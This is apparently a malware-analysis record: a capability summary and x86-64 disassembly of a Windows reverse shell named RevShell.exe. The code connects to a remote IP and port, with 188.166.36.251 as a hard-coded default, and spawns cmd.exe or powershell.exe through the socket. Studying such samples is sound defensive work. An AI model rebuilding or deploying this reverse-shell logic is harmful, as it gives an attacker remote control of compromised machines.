Function at 0x140001070
Capabilities:
Connect socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x480
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x470], rax
xor r15d, r15d
lea eax, [rcx - 3]
mov rsi, rdx
mov r14d, ecx
mov ebp, 0x2329
mov edi, r15d
cmp eax, 1
ja 0x1400010ea
mov rdx, qword [rdx + 8]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdx + rbx], dil
jne 0x1400010c1
movsxd r8, ebx
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ebp, eax
cmp ebx, 0x10
jge 0x140001131
jmp 0x14000111f
lea rcx, str.Usage:_n_tRevShell.exe_IP_PORT__cmdpowershell__n
call fcn.140001010
mov eax, dword [0x1400032c8]
mov ebx, 0xe
movsd xmm0, qword [str.188.166.36.251]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1400032cc]
mov word [rsp + 0x6c], ax
movsd qword [rsp + 0x60], xmm0
movsxd rax, ebx
cmp rax, 0x10
jae 0x1400013a4
mov byte [rsp + rax + 0x60], dil
mov ebx, 1
cmp r14d, 4
jne 0x14000117a
mov r8, qword [rsi + 0x18]
lea rdx, [0x140003300]
mov rax, r15
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x140001166
cmp rax, 4
jne 0x140001150
jmp 0x14000117a
lea rdx, str.powershell
mov rcx, r8
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
cmove edi, ebx
mov edx, edi
lea rcx, str.___SELECTED_SHELL:__t_d_n
call fcn.140001010
mov rdx, qword [rsi + 8]
lea r8, [rsp + 0x54]
mov esi, 2
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x1400011b5
lea rdx, [rsp + 0x60]
lea rcx, str.___VALID_IP_ADDRESS:__t_s_n
call fcn.140001010
jmp 0x1400011c1
lea rcx, str.____INVALID_IP_ADDRESS_n
call fcn.140001010
lea eax, [rbp - 1]
cmp eax, 0xfffe
ja 0x1400011db
mov edx, ebp
lea rcx, str.___VALID_IP_PORT:__t_d_n
call fcn.140001010
jmp 0x1400011e7
lea rcx, str.____INVALID_PORT_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x202
lea rdx, [0x140005620]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov dword [rsp + 0x28], r15d
mov edx, ebx
mov dword [rsp + 0x20], r15d
mov ecx, esi
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea r8, [0x14000583c]
mov word [0x140005838], si
lea rdx, [rsp + 0x60]
mov qword [0x140005848], rax
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
movzx ecx, bp
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [0x140005848]
lea rdx, [0x140005838]
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov word [0x14000583a], ax
mov qword [rsp + 0x20], r15
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140005848]
lea rcx, [rsp + 0x280]
xorps xmm0, xmm0
mov qword [0x140005830], rax
movups xmmword [0x140005820], xmm0
xor edx, edx
mov r8d, 0x1f0
movups xmmword [0x1400057d0], xmm0
mov dword [0x1400057d0], 0x68
movups xmmword [0x140005800], xmm0
mov dword [0x14000580c], 0x101
movups xmmword [0x1400057e0], xmm0
mov qword [0x140005828], rax
movups xmmword [0x1400057f0], xmm0
mov qword [0x140005820], rax
movups xmmword [0x140005810], xmm0
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rsp + 0x270], xmm0
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.powershell.exe]
mov eax, dword [0x1400033c8]
lea rcx, [rsp + 0x8e]
mov dword [rsp + 0x88], eax
xor edx, edx
movzx eax, word [0x1400033cc]
mov r8d, 0x1e2
movaps xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1400033c0]
movsd qword [rsp + 0x80], xmm0
mov word [rsp + 0x8c], ax
call sub.VCRUNTIME140.dll_memset
test edi, edi
je 0x140001354
cmp edi, ebx
jne 0x140001395
lea rdx, [rsp + 0x70]
jmp 0x14000135c
lea rdx, [rsp + 0x270]
lea rax, [0x1400057b8]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [0x1400057d0]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400014e8
int3